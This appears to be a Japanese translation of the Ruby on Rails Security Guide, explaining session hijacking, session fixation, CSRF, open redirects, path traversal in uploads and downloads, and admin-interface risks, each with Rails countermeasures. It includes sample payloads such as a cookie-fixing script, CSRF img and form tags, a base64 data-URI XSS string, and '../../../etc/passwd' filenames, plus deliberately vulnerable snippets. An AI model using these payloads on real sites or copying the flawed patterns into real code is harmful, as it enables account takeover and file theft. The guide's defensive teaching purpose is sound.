このマニュアルでは、Webアプリケーション全般におけるセキュリティの問題と、Railsでそれらの問題を回避する方法について説明します。
このガイドの内容:
Webアプリケーションフレームワークは、Webアプリケーションの開発を支援するために作られました。フレームワークの中にはセキュリティを比較的高めやすいものもあります。実際のところ、あるフレームワークは他のよりも安全であるということは一概には言えません。正しく用いる限り、たいていのフレームワークで安全なWebアプリケーションを構築できます。逆に言えば、正しく用いなければどんなWebアプリケーションを採用しても安全を保てません。Ruby on Railsには、セキュリティ対策用に工夫されたヘルパーメソッド(SQLインジェクション対策用など)がいくつか用意されているので、これらについてはめったに問題になりません。
一般に、導入するだけでセキュリティを保てるような便利なものはありません。セキュリティは、フレームワークを使う人間次第で大きく変わりますし、場合によっては開発方法もセキュリティに影響することがあります。セキュリティは、Webアプリケーションを構成するあらゆる層(バックエンドのストレージ、Webサーバー、Webアプリケーション自身、そしておそらく他の層なども)に依存します。
Gartner Groupは、攻撃の75%がWebアプリケーション層に対して行われていると見積もっており、監査を受けた300のWebサイトのうち97%が脆弱性を抱えているという結果を得ています。これは、Webアプリケーションに対する攻撃は比較的行いやすく、一般人でも理解や操作が可能なほどにWebアプリケーションがシンプルであるためです。
Webアプリケーションに対する脅威には、ユーザーアカウントのハイジャック、アクセス制御のバイパス、機密データの読み出しや改ざん、不正なコンテンツの表示など、さまざまなものがあります。さらに、攻撃者が金目当てや企業資産の改ざんによる企業イメージ損壊の目的で、トロイの木馬プログラムや迷惑メール自動送信プログラムを仕込んだりすることもあります。このような攻撃を防ぎ、影響を最小限にとどめ、攻撃されやすいポイントを除去するためには、まず敵の攻撃方法を完全に理解し、それから対策を練る必要があります。以上が本ガイドの目的です。
安全なWebアプリケーションを開発するためには、すべての層について最新情報を入手することと、敵を知ることが必要です。最新情報を得るには、セキュリティメーリングリストを購読し、セキュリティブログにしっかり目を通し、更新プログラムを適用し、セキュリティチェックの習慣を身に付けることです(#追加資料も参照してください)。厄介な論理上のセキュリティ問題を発見するには、これらを手動で行うのがよいでしょう。
本章では、セッションに関連するいくつかの攻撃方法と、セッションデータを保護するセキュリティ対策について解説します。
アプリケーションはセッションを用いて、多くのユーザーがアプリケーションとやりとりできるようにしつつ、各ユーザー固有のステートを維持します。たとえばセッションを用いることで、ユーザーが認証されれば以後のリクエストでサインインしたままにできます。
多くのアプリケーションでは、アプリケーションを操作するユーザーのステート(状態)を追跡する必要があります。ショッピングサイトの買い物カゴや、現在ログインしているユーザーのidなどがこれに該当します。このようなユーザー固有のステートはセッションに保存できます。
Railsは、アプリケーションにアクセスするユーザーごとにセッションオブジェクトを1つ提供します。ユーザーが既にアプリケーションを利用中であれば、Railsは既存のセッションを読み込み、そうでない場合は新しいセッションを作成します。
セッションとその利用法について詳しくは、Action Controllerの概要ガイドを参照してください。
攻撃者がユーザーのセッションIDを盗むと、そのユーザーとしてWebアプリケーションを操作可能になります。
多くのWebアプリケーションには何らかの認証システムがあります。ユーザーがユーザー名とパスワードを入力すると、Webアプリケーションはそれらをチェックして、対応するユーザーIDをセッションハッシュに保存し、以後そのセッションは有効になります。リクエストが行われるたびに、Webアプリケーションはセッションで示されたユーザーidを持つユーザーを読み込みます。このときに再度認証を行なう必要はありません。セッションは、cookie内のセッションIDによって識別されます。
このように、cookieはWebアプリケーションに一時的な認証機能を提供するものなので、他人のcookieを奪い取ると、そのユーザーの権限でWebアプリケーションを使えるようになります。これによっておそらく深刻な結果が生じる可能性があります。セッションハイジャックの手法と対策をいくつかご紹介します。
セキュリティに問題のあるネットワークを通過するcookieは盗聴可能です。無線LANは、まさにそのようなネットワークの一例です。特に暗号化されていない無線LANでは、接続されているクライアントのすべてのトラフィックを簡単に傍聴できてしまいます。Webアプリケーションの開発者にとっては、これはSSLによる安全な接続の提供が必要であるということです。Rails 3.1以降では、アプリケーションの設定ファイルで以下のようにSSL接続を強制することによって達成できます。
config.force_ssl = true
公共の端末での作業後にcookieを消去するような殊勝なユーザーはほとんどいません。最後のユーザーがWebアプリケーションからログアウトするのを忘れて立ち去っていたら、次のユーザーはそのWebアプリケーションをそのまま使えてしまいます。ユーザーには必ずログアウトボタンを提供しなければなりません。それもよく目立つボタンをです。
クロスサイトスクリプティング(XSS)攻撃は、多くの場合、ユーザーのcookieを手に入れるのが目的です。XSSの詳細も参照してください。
攻撃者が自分の知らないcookieをわざわざ盗み取る代わりに、標的のcookieを攻撃者が知っているcookieのセッションIDに固定してしまうという攻撃方法もあります。詳しくは後述のセッション固定攻撃の記述を参照してください。
攻撃の多くは営利目的です。Symantec Global Internet Security Threat Report (2017)によると、盗まれた銀行口座アカウントの闇価格は口座残高の0.5~10%、クレジットカード番号は0.5〜30ドル(詳細情報が付くと20ドルから60ドル)、ID(名前、SSN、DOB)は0.1〜1.5ドル、小売業者のアカウントは20〜50ドル、クラウドサービスプロバイダーのアカウントは6〜10ドルとなっています。
RailsはデフォルトのセッションストレージとしてActionDispatch::Session::CookieStore
を用います。
その他のセッションストレージについては、Action Controllerの概要ガイドを参照してください。
RailsのCookieStore
はクライアント側のcookieにセッションハッシュを保存します。サーバーはこのセッションハッシュをcookieから取得することで、セッションIDを必要としなくなります。こうすることで、アプリケーションのスピードは大幅に向上しますが、このストレージオプションについては賛否両論があるため、セキュリティ上の意味やストレージでの制約について以下の点を十分考えておかなければなりません。
cookieの上限は4KBです。cookieはセッションに関連するデータを保存する目的にのみお使いください。
cookieはクライアント側に保存されます。クライアントでは、失効したcookieにも内容が残っていることがあります。また、クライアントのcookieが他のコンピュータにコピーされる可能性もあります。セキュリティ上重要なデータをcookieに保存することは避けてください。
cookieは本質的に一時的な情報です。サーバーはcookieに期限を設定できますが、期限が切れる前にcookieやcookieの内容がクライアント側で削除される可能性があります。恒常性の高いデータは、すべてサーバー側で永続化してください。
セッションcookieが自分自身を無効にすることはないので、悪用目的で使い回される可能性もあります。保存済みのタイムスタンプを利用して古いセッションcookieをアプリケーションで失効させるとよいでしょう。
Railsはcookieをデフォルトで暗号化します。クライアントは暗号を解読しないかぎりcookieの内容を読み取ることも編集することもできません。秘密情報を適切に扱っていれば、cookieのセキュリティは一般的に保たれていると考えてよいでしょう。
CookieStore
は、セッションデータの保管場所を暗号化して安全にするためにencrypted
cookie jarを利用します。これにより、cookieベースのセッションの内容の一貫性と機密性を同時に保ちます。暗号化鍵は、signed
cookieに用いられる検証鍵と同様に、secret_key_base
設定値から導出されます。
秘密鍵は十分に長く、かつランダムでなければなりません。一意な秘密鍵を得るにはbin/rails secret
を使います。
本ガイドで後述するcredential管理方法も参照してください。
暗号化済みcookieと署名済みcookieで使うsalt値を同じにしないことも重要です。複数のsalt設定に異なる値ではなく同じsalt値を使ってしまうと、別のセキュリティ機能で同じ鍵が導出されてしまい鍵の強度が落ちる可能性があります。
test環境とdevelopment環境のアプリケーションでは、アプリケーション名からsecret_key_base
を導出します。それ以外の環境では、必ずconfig/credentials.yml.enc
にあるランダムな鍵を使わなければなりません(以下は復号された状態)。
secret_key_base: 492f...
万一アプリケーションの秘密鍵が漏洩した場合は、秘密鍵の変更をぜひともご検討ください。ただし、secret_key_base
を変更すると、現在アクティブなセッションが一斉に失効します(訳注: ユーザー数の多いサイトで多数のアクティブなセッションを急に失効させると、一時的にセッションが大量に再作成されて負荷が急増し、サーバーがダウンするなどの問題につながる可能性も考えられます)。
cookie設定のローテーションは、古いcookieを即座に失効させない方法として最適です。これは、ユーザーが次回アプリケーションを開いたときに古い設定を含むcookieを読み込み、新しい内容を再び書き込むというものです。十分多くのユーザーがcookieの更新を完了したとみなせれば、ローテーションを解除できます。
ローテーションは、暗号化cookieや署名済みcookieの暗号やダイジェストに対して行えます。
たとえば、署名済みcookieのダイジェストをSHA1からSHA256に変更する場合、最初に新しい設定値を代入します。
Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
後は古いSHA1ダイジェストのローテーションを追加すれば、既存のcookieがシームレスにSHA256ダイジェストにアップグレードされます。
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies| cookies.rotate :signed, digest: "SHA1" end
これで、以後の署名済みcookieはすべてSHA256でダイジェストされて書き込まれるようになります。古いSHA1 cookieも従来どおり読み出され、しかもアクセス時には新しいダイジェストで書き込まれます。これで、アップグレード完了後にローテーションを解除しても無効にならなくなります。
SHA1でダイジェストされている署名済みcookieをユーザーが更新する機会が完全になくなったことを確認できたら、ローテーションを削除します。
ローテーションはいくつでも設定できますが、一度に多数のローテーションを実施するのは一般的ではありません。
暗号化メッセージや署名済みメッセージの鍵ローテーション、およびrotate
メソッドで使えるさまざまなオプションについては、MessageEncryptor APIドキュメントやMessageVerifier APIドキュメントを参照してください。
CookieStore
を扱うのであれば、もう一つの攻撃方法である「リプレイ攻撃(replay attack)」についても知っておく必要があります。
リプレイ攻撃のしくみは次のとおりです。
このリプレイ攻撃は、セッションにnonce(1回限りのランダムな値)を含めておくことで防げます。nonceが有効なのは1回限りであり、サーバーはnonceが有効かどうかを常にトラッキングし続ける必要があります。複数のアプリケーションサーバーで構成されたアプリケーションの場合は、さらに状況が複雑になります。nonceをデータベースに保存してしまうと、せっかくデータベースへのアクセスを避けるために設置したCookieStoreを使う意味がなくなってしまいます。
結論から言うと、この種のデータはセッションではなくデータベースに保存するのがベストです。この場合であれば、クレジットはデータベースに保存し、logged_in_user_id
はセッションに保存します。
ユーザーのセッションIDを盗む代わりに、ユーザーのセッションIDを攻撃者が知っているセッションIDに固定するという方法があります。この攻撃方法はセッション固定(session fixation)と呼ばれます。
この攻撃では、ブラウザ上のユーザーのセッションIDを攻撃者が知っているセッションIDに密かに固定しておき、ユーザーが気付かないうちにそのセッションIDを強制的にブラウザで使わせます。この方法であれば、セッションIDを盗み出す必要すらありません。攻撃方法は次のとおりです。
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
。XSSとインジェクションの詳細については後述します。セッション固定攻撃は、たった1行のコードで防止できます。
最も効果的な対応策は、ログイン成功後に古いセッションを無効にし、新しいセッションIDを発行することです。これなら、攻撃者が固定セッションIDを悪用する余地はありません。この対応策は、セッションハイジャックにも有効です。Railsでは以下の方法で新しいセッションを作成できます。
reset_session
ユーザー管理用にDeviseなどの有名なgemを導入していれば、ログイン・ログアウト時にセッションが自動的に切れるようになります。セッションを手動で管理する場合は、ログインした後(セッションが作成された後)にセッションを失効させること。上のメソッドを実行するとセッションにあるすべての値が削除されるので、それらの値を新しいセッションに移し替える必要があります。
その他の対応策として、セッションにユーザー固有のプロパティを保存しておき、ユーザーからリクエストを受けるたびに照合して、マッチしない場合はアクセスを拒否するという方法もあります。ユーザー固有のプロパティとして利用可能な情報には、リモートIPアドレスや user agent(webブラウザの名前)がありますが、後者はユーザー固有ではありません。IPアドレスを保存して対応する場合、インターネットサービスプロバイダ(ISP)や大企業からのアクセスはプロキシ越しに行われていることが多いので注意が必要です。IPアドレスはセッションの途中で変わる可能性があるため、IPアドレスをユーザー固有の情報として使おうとすると、ユーザーがWebアプリケーションにアクセスできなくなったり、ユーザーの利用に制限が加わる可能性があります。
セッションを無期限にすると、CSRF、セッションハイジャック、セッション固定などによる攻撃の機会を増やしてしまいます。
セッションIDを持つcookieのタイムスタンプに有効期限を設定するという対応策も考えられなくはありません。しかし、ブラウザ内に保存されているcookieをユーザーが編集できてしまう点は変わらないので、やはりサーバー側でセッションを無効にする方が安全です。データベーステーブルのセッションを無効にするには、たとえば次のようにSession.sweep("20.minutes")
を呼ぶと、20分以上経過したセッションが失効します。
class Session < ApplicationRecord def self.sweep(time = 1.hour) where(updated_at: ...time.ago).delete_all end end
本セクションでは、セッション維持の問題で触れたセッション固定攻撃について説明します。攻撃者が5分おきにセッションを維持すると、サーバーがセッションを無効にしようとしてもセッションが恒久的に継続してしまいます。シンプルな対策は、セッションテーブルにcreated_at
カラムを追加することです。これで、期限を過ぎたセッションを削除できます。上のsweep
メソッドで以下のコードを使います。
where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
CSRF(クロスサイトリクエストフォージェリ)攻撃は、認証が完了したとユーザーが信じているWebアプリケーションのページに、悪意のあるコードやリンクを仕込むというものです。そのWebアプリケーションへのセッションがタイムアウトしていなければ、攻撃者は本来認証されていないはずのコマンドを実行できてしまいます。
セッションの章では、多くのRailsアプリケーションがcookieベースのセッションを利用していることを説明しました。cookieベースのセッションでは、セッションIDをcookieに保存してサーバー側でセッションハッシュを持つか、すべてのセッションハッシュをクライアント(ブラウザ)側に持つかのどちらかです。どちらの場合も、ブラウザはリクエストのたびにcookieを自動的にドメインに送信します(そのドメインで利用可能なcookieがある場合)。ここで問題となるのは、異なるドメインに属するサイトからリクエストがあった場合にもブラウザがcookieを送信してしまうという点です。以下の例で考えてみましょう。
img
要素には悪質な仕掛けが施されています。その要素が実際に参照しているのは画像ファイルではなく、ボブのプロジェクト管理アプリケーションを標的にしたコマンド(<img src="http://www.webapp.com/project/1/destroy">
)です。www.webapp.com
に対するボブのセッションはまだ失効していません。img
タグを見つけます。そしてブラウザは www.webapp.com
からその怪しい画像を読み出そうとします。前述のとおり、このときに有効なセッションIDを含むcookieも一緒に送信されます。www.webapp.com
のWebアプリケーションは、リクエストに対応するセッションハッシュに含まれるユーザー情報が有効であると認定し、その指示に従ってID 1のプロジェクトを削除します。そしてブラウザは何らかの問題が生じたことを示す結果ページを表示します。画像は表示されません。ここで重要なのは、仕掛けのある画像やリンクの置き場所はそのWebアプリケーションのドメインに限らないということです。フォーラム、ブログ、email、どこにでも置けます。
CSRFは、CVE(Common Vulnerabilities and Exposures)で報告されることはめったにありません(2006年でも0.1%以下)が、それでもGrossmanが言うところの「眠れる巨人」であり、危険なことに変わりはありません。現状と対照的に、多くのセキュリティ専門家がCSRFは非常に重大なセキュリティ問題であると指摘しています。
第1に、W3Cが要求しているとおり、GETとPOSTを適切に使うことです。第2に、GET以外のリクエストにセキュリティトークンを追加することで、WebアプリケーションがCSRFから保護されます。
HTTPプロトコルは2つの基本的なリクエストであるGETとPOSTを提供しています (DELETE、PUT、PATCHはPOSTと同様に使うべきです)。World Wide Web Consortium(W3C)は、HTTPのGETやPOSTを選択する際のチェックリストを提供しています。
以下の場合はGETを使うこと
以下のいずれかの場合はPOSTを使うこと
WebアプリケーションがRESTfulであれば、PATCH、PUT、DELETEなどのHTTPメソッドも使われているでしょう。しかし、一部のブラウザはこれらのメソッドをサポートしていません。確実にサポートされているのはGETとPOSTだけです。Railsでは_method
という隠しフィールドを使ってこれらのHTTPメソッドをサポートしています。
POSTリクエストも(意図に反して)自動的に送信される可能性があります。たとえばブラウザのステータスバーに、www.harmless.comというWebサイトへのリンクが表示されているとします。しかし実際にこのリンクをクリックすると、以下のようにPOSTリクエストを送信する新しいフォームを動的に作成するようになっています。
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
あるいは、攻撃者がこのコードを画像のonmouseover
イベントハンドラに仕込む可能性もあります。
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
<script>
タグを使って、JSONPやJavaScriptのレスポンスを伴う特定のURLへのクロスサイトリクエストを作成するなど、多種多様な攻撃方法が考えられます。このレスポンスは攻撃者が実行方法を見つけ出したコードであり、機密データを取り出せる可能性があります。このようなデータ流出を防止するには、クロスサイトの<script>
タグを無効にします。ただしAjaxリクエストはブラウザの同一オリジンポリシーに従って動作するため、JavaScriptレスポンスを返すことを安全に許可できます(XmlHttpRequest
は自サイトからのみ開始可能です)。
<script>
タグのoriginが同じサイトか悪意のあるサイトかは、区別しようがありません。このため<script>
タグは、たとえ実際には自サイトの「同一オリジン」スクリプトであっても、全面的にブロックしなければなりません。このような場合、<script>
を対象にJavaScriptを使う操作では明示的にCSRF保護をスキップします。
この種の偽造リクエストをすべて防止するには、必須セキュリティトークンを導入します。このトークンは自分のサイトだけが知っており、他のサイトは知りません。リクエストにはこのセキュリティトークンを含め、サーバー側でこれを検証します。これは、config.action_controller.default_protect_from_forgery
をtrue
に設定すると自動的に行われるようになります。以下の1行コードはアプリケーションのコントローラに追加するものであり、Railsで新規作成したアプリケーションにはこのコードがデフォルトで含まれます。
protect_from_forgery with: :exception
このコードがあると、Railsで生成されるすべてのフォームとAjaxリクエストにセキュリティトークンが自動的に含まれます。セキュリティトークンがマッチしない場合には例外がスローされます。
Railsにデフォルトで含まれるunobtrusive scripting adapterが追加するX-CSRF-Token
ヘッダーは、GET以外のあらゆるAjax呼び出しでセキュリティトークンを含みます。このヘッダーがないと、RailsはGET以外のAjaxリクエストを受け付けなくなります。Ajax呼び出しに他のライブラリを使う場合は、そのライブラリのAjax呼び出しのデフォルトのヘッダーにセキュリティトークンを追加する必要があります。このトークンは、アプリケーションのビューで<%= csrf_meta_tags %>
から出力される<meta name='csrf-token' content='THE-TOKEN'>
タグで見ることができます。
ユーザー情報を永続化cookie(cookies.permanent
など)に保存することはよく行われています。この場合、cookieは消去されないことと、前述の保護機構の外ではCSRFからの保護を受けられなくなる点に注意が必要です。何らかの理由でこのような情報をセッション以外のcookieストアに保存する場合は、必要な操作を開発者自身が行わなければなりません。
rescue_from ActionController::InvalidAuthenticityToken do |exception| sign_out_user # ユーザーのcookieを削除するメソッドの例 end
上のメソッドはApplicationController
に置けます。これにより、非GETリクエストにCSRFトークンがない場合やトークンが無効な場合にこのメソッドが呼び出されます。
ただし、クロスサイトスクリプティング(XSS)脆弱性があると、あらゆるCSRF保護が迂回されてしまいます。XSS脆弱性が存在すると、攻撃者がWebページのあらゆる要素にアクセス可能になるので、フォームからCSRFセキュリティトークンを読みだしてそのフォームを直接送信できてしまいます。後述のXSSの詳細もお読みください。
Webアプリケーションにおけるもう1つのセキュリティ脆弱性は、「リダイレクトとファイル」に関連します。
Webアプリケーションにおけるリダイレクトは、過小評価されがちなクラッキングツールです。攻撃者がこれを使うと、ユーザーを危険なWebサイトに誘導することも、Webサイト自体に罠を仕掛けることも可能になります。
リダイレクト用のURL(の一部)をユーザーが入力できるようにすると、潜在的な脆弱性となります。最もあからさまな攻撃方法としては、ユーザーを本物そっくりの偽Webサイトにリダイレクトすることが考えられます。これは俗に「フィッシング(phishing)」や「釣り」などと呼ばれる攻撃手法です。具体的には、無害を装ったリンクを含むメールをユーザーに送りつけ、そのリンクをXSSでWebアプリケーションに注入するか、リンクを外部サイトに配置します。このリンクの冒頭部分はそのWebアプリケーションのURLなので、一見無害に見えます。危険なサイトに導くURLは、http://www.example.com/site/redirect?to=www.attacker.com
のようにリダイレクトのパラメータに隠されています。ここではlegacy
アクションを例示します。
def legacy redirect_to(params.update(action:'main')) end
このコードは、legacy
アクションに対するアクセスがあれば、ユーザーをメインのアクションにリダイレクトします。このコードの本来の意図は、従来のアクションへのURLパラメータを保護し、それをメインのアクションに渡すことです。しかし、このURLに以下のようなホスト鍵が含まれていると、攻撃者に悪用される可能性があります。
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
URLの末尾にあるホスト鍵は気付かれにくく、ユーザーは attacker.com ホストにリダイレクトされてしまいます。一般に、ユーザー入力をそのままredirect_to
メソッドに渡すことは危険であると考えられます。シンプルな対応策としては、このlegacy
アクションには想定されたパラメータだけを含めるという方法があります(これは許可リスト的アプローチであり、想定されていないパラメータを除外する方法とは真逆です)。URLをリダイレクトする場合は、許可リストまたは正規表現でチェックしてください。
FirefoxやOperaでは、データプロトコルを使って別のタイプのリダイレクションや自己完結型XSS攻撃を実行できてしまいます。データプロトコルは、その内容をブラウザに直接表示でき、HTMLやJavaScriptや画像全体など何でも含められます。
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
上の例ではBase64でエンコードされたJavaScriptを使っています。このJavaScriptは単にメッセージボックスを表示します。リダイレクションURL攻撃では、攻撃者がこのような悪意のあるコードを含むURLにリダイレクトさせます。この攻撃への対応策は、リダイレクトするURL(の一部)をユーザーが入力できないようにすることです。
ファイルがアップロードされたときに重要なファイルが上書きされないよう注意すること。また、メディアファイルは非同期で処理すること。
多くのWebアプリケーションでは、ユーザーによるファイルアップロードを許可しています。ユーザーが選択・入力できるファイル名(またはその一部)は必ずフィルタしてください。攻撃者が危険なファイル名をわざと使ってサーバーのファイルを上書きしようとする可能性があるためです。ファイルが /var/www/uploads ディレクトリにアップロードされ、そのときにファイル名が「../../../etc/passwd」と入力されていると、重要なファイルが上書きされてしまう可能性があります。言うまでもなく、Rubyインタプリタにそれだけの実行権限が与えられていなければ、そのような上書きは実行できません。Webサーバー、データベースサーバーなどのプログラムは、比較的権限の小さいUnixユーザーとして実行されるのが普通です。
もう1つ注意があります。ユーザーが入力したファイル名をフィルタするときには、ファイル名から危険な部分を取り除く「禁止リスト」的アプローチを使ってはいけません。Webアプリケーションがファイル名から「../」という文字を取り除くことに成功しても、今度は攻撃者が「....//」のようなその裏をかくパターンを使えば「../」という相対パスが通ってしまうというふうに、禁止リスト的な手法ではどうしても漏れが残ってしまいます。最も良い方法は「許可リスト」によるアプローチです。これは ファイル名が有効であるかどうか(指定された文字だけが使われているかどうか)をチェックするものです(これは、利用が許されてない文字を除去する「禁止リスト」と逆のアプローチです)。ファイル名が無効な場合は、拒否するか、無効な文字を(削除ではなく)置き換えるかのどちらかにします。以下の例は、attachment_fuプラグインから抜粋したファイル名サニタイザです。
def sanitize_filename(filename) filename.strip.tap do |name| # メモ: File.basenameは、Unix上でのWindowsパスに対しては正常に動作しません # フルパスではなくファイル名のみを取得 name.sub! /\A.*(\\|\/)/, '' # 最終的に非英数文字をアンダースコアまたは # ピリオドとアンダースコアに置き換え name.gsub! /[^\w\.\-]/, '_' end end
(attachment_fu
プラグインが画像に対して行なうように)ファイルのアップロードを同期的に処理する場合の重大な問題点は、サービス拒否 (DoS) 攻撃の脆弱性が生じることです。攻撃者は、同期的に行われる画像ファイルアップロードを多数のコンピュータから同時に実行することで、サーバーに高負荷をかけて最終的にサーバーをクラッシュまたは動作不能にする可能性があります。
これを解決するには、メディアファイルを非同期的に処理するのがベストです。メディアファイルを保存してから、データベース内で処理のリクエストをスケジューリングします。ファイルの処理は別プロセスがバックグラウンドで行います。
アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれると、ソースコードが実行可能になってしまう可能性があります。Railsの/publicディレクトリがApacheのホームディレクトリになっている場合は、ここにアップロードファイルを置いてはいけません。
広く使われているApache WebサーバーにはDocumentRoot
というオプションがあります。これはWebサイトのホームディレクトリであり、このディレクトリツリーに置かれているものはすべてWebサーバーによって配信されます。そこに置かれているファイルの名前に特定の拡張子が与えられていると、それに対してリクエストが送信された時に実行されてしまうことがあります(何らかのオプションを与える必要があるかもしれません)。実行される可能性のある拡張子は、たとえばPHPやCGIなどです。攻撃者が「file.cgi」というファイルをアップロードし、その中に危険なコードが仕込まれているとします。このファイルを誰かがダウンロードすると、このコードが実行されます。
ApacheのDocumentRoot
がRailsの/publicディレクトリを指している場合、アップロードファイルをここに置いてはいけません。少なくとも1階層上に保存する必要があります。
ユーザーに任意ファイルのダウンロードを許可しないこと。
ファイルアップロード時にファイル名のフィルタが必要になるのと同様に、ファイルのダウンロード時にもファイル名をフィルタしなければなりません。以下のsend_file()
メソッドは、サーバーからクライアントにファイルを送信します。ファイル名がフィルタ処理されていないと、ユーザーが任意のファイルをダウンロード可能になってしまいます。
send_file('/var/www/uploads/' + params[:filename])
上のコードでは、たとえば「../../../etc/passwd」のようなファイル名を渡すだけで、サーバーのログイン情報をダウンロードできてしまいます。これに対するシンプルな対策は、リクエストされたファイル名が、想定されているディレクトリの下にあるかどうかをチェックすることです。
basename = File.expand_path('../../files', __dir__) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.dirname(filename)) send_file filename, disposition: 'inline'
別の方法は、ファイル名をデータベースに保存しておき、データベースのidをサーバーのディスク上に置く実際のファイル名の代わりに使うことです(これは上の方法と併用可能です)。この方法も、アップロードファイルが実行される可能性を回避する方法として優れています。attachment_fu
プラグインでも同様の手法が採用されています。
イントラネットや管理画面インターフェイスは特権アクセスが許可されているので、攻撃の目標にされがちです。イントラネットや管理画面インターフェイスにはセキュリティ対策の追加が必要なはずですが、現実には逆にセキュリティ対策が弱いことがしばしばあります。
2007年、その名もMonster.comというオンラインリクルート用Webアプリケーションで、特殊なトロイの木馬プログラムによってイントラネットから情報が盗み出され、文字どおり経営者にとってのモンスターとなった事件がありました。標的を絞り込んだオーダーメイドのトロイの木馬は現時点では非常にまれなので、リスクは相当低いと言えますが、それでもゼロではありません。これは、クライアントホストのセキュリティも重要であるというよい例です。ただし、イントラネットや管理アプリケーションにとって最も脅威となるのは、XSSとCSRFです。
XSS: 悪意のあるユーザーがイントラネットの外から入力したデータがWebアプリケーションで再表示されると、WebアプリケーションがXSS攻撃に対して脆弱になります。ユーザー名、コメント、スパムレポート、注文フォームの住所のような情報がXSS攻撃に使われることも珍しくありません。
管理画面やイントラネットで1箇所でもサニタイズ漏れがあれば、アプリケーション全体が脆弱になってしまいます。想定される攻撃としては、管理者のcookieの盗み出し、管理者パスワードを盗み出すためのiframe注入、管理者権限奪取のためにブラウザのセキュリティホールを経由して悪質なソフトウェアをインストールする、などが考えられます。
XSS対策の注入に関するセクションも参照してください。
CSRF: クロスサイトリクエストフォージェリ(Cross-Site Request Forgery)はクロスサイトリファレンスフォージェリ(XSRF: Cross-Site Reference Forgery)とも呼ばれ、非常に強力な攻撃手法です。この攻撃を受けると、管理者やイントラネットユーザーが実行可能な操作をすべて行えるようになってしまいます。CSRFについては既に説明しましたので、ここでは攻撃者がイントラネットや管理画面に対して攻撃を仕掛ける手順をいくつかの事例で説明します。
現実に起きた事例としてCSRFによるルーター再構成 を取り上げましょう。この攻撃者は、CSRFを仕込んだ危険なメールをメキシコの多数のユーザーに送信しました。このメールには、「お客様のeカードをご用意いたしました」と書かれており、imageタグが含まれていました。そしてそのタグには、ユーザーのルーターを再構成してしまうHTTP GETリクエストが仕込まれていました。このルーターは、メキシコで広く普及しているモデルでした。このリクエストによってDNS設定が変更され、メキシコで事業を行っているネットバンキングWebサイトの一部が、攻撃者のWebサイトにマッピングされてしまいました。このルーターを経由してこのネットバンキングサイトにアクセスすると、攻撃者が設置した偽のWebサイトが開き、認証情報が盗まれてしまいました。
Google Adsenseのメールアドレスとパスワードが変更された事例もあります。標的ユーザーがGoogle AdsenseにログインしてGoogle広告キャンペーン用の管理画面を開くと、攻撃者が標的ユーザーの認証情報を改変可能になるというものでした。
その他の有名な事例としては、危険なXSSを拡散するために一般のWebアプリケーションやブログ、掲示板が利用された事件があります。言うまでもなく、この攻撃を成功させるためには攻撃者がURL構造を知っている必要がありますが、RailsのURLは構造がかなりシンプルなので、オープンソースの管理画面を使えば構造を簡単に調べられます。攻撃者は、ありそうなIDとパスワードの組み合わせを総当りで試す危険なImg
タグを送り込むだけで、数千件ものまぐれ当たりを獲得できる可能性があります。
管理画面やイントラネットへのCSRF攻撃への対策については、CSRF対策のセクションを参照してください。
管理画面は、多くの場合次のような作りになっているものです。www.example.com/admin のようなURLに置かれ、Userモデルのadminフラグがセットされている場合に限り、ここにアクセスできます。ユーザー入力が管理画面のフィールドに再表示されると、管理者の権限で任意のデータを削除・追加・編集できてしまいます。これについて考察してみましょう。
常に最悪の事態を想定することは極めて重要です。「誰かが自分のcookieやユーザー情報を盗み出すことに成功したらどうなるか」。管理画面にロール(role)を導入することで、攻撃者が行える操作の範囲を狭めることができます。あるいは、アプリケーションで公開される部分で使われるログイン情報から切り離された、管理画面用の特殊なログイン認証情報を使う方法や、極めて重要な操作では別途特殊なパスワードを要求する方法も考えられます。
管理者は、世界中どこからでもそのWebアプリケーションにアクセスする必要性があるとは限りません。送信元IPアドレスを一定の範囲に制限するという方法を考えてみましょう。request.remote_ip
メソッドを使えばユーザーのIPアドレスをチェックできます。この方法は攻撃に対する直接の防御にはなりませんが、攻撃を困難にするうえでは非常に有効です。ただし、プロキシを用いて送信元IPアドレスを偽る方法があることもお忘れなく。
管理画面を特別なサブドメインに置く方法 (admin.application.com
など)。さらに管理アプリケーションを独立させて独自のユーザー管理を行えるようにします。このような構成にすることで、通常のwww.application.com
ドメインから管理者cookieを盗み出すことは不可能になります。ブラウザには同一オリジンポリシーがあるので、www.application.com
に注入されたXSSスクリプトからadmin.application.com
のcookieを読み出すことも、その逆も不可能になります。
認証(authentication)と認可(authorization)は、ほぼすべてのWebアプリケーションで不可欠の機能です。認証システムは自作せず、広く使われていて実績のあるプラグイン(訳注: 現在ならgem)を使うことをおすすめします。ただし、常に最新の状態にアップデートすること。この他にいくつかの注意を守ることで、アプリケーションがよりセキュアになります。
Railsではさまざまな認証用プラグインを利用できます。人気の高いdeviseやauthlogicなどの優れたプラグインは、パスワードを平文ではなく常に暗号化した状態で保存します。Rails 3.1以降は、セキュアなパスワードハッシュ化・確認・復旧メカニズムをサポートするhas_secure_password
メソッドも組み込まれています。
アカウントに対する総当たり攻撃(Brute-force attack)とは、ログイン情報に対して試行錯誤を繰り返す攻撃です。エラーメッセージを具体的でない、より一般的なものにすることで回避可能ですが、CAPTCHA(相手がコンピュータでないことを確認するためのテスト)への情報入力の義務付けもおそらく必要でしょう。
Webアプリケーション用のユーザー名リスト(名簿)は、パスワードへの総当たり攻撃に悪用される可能性があります。パスワードがユーザー名と同じなど、単純極まりないパスワードを使っている人が驚くほど多いため、総当たり攻撃にこうした名簿が利用されやすいのです。辞書に載っている言葉に数字を混ぜた程度の弱いパスワードが使われていることもよくあります。名簿と辞書を活用して総当り攻撃を行なう自動化プログラムがあれば、ものの数分でパスワードを見破られてしまうでしょう。
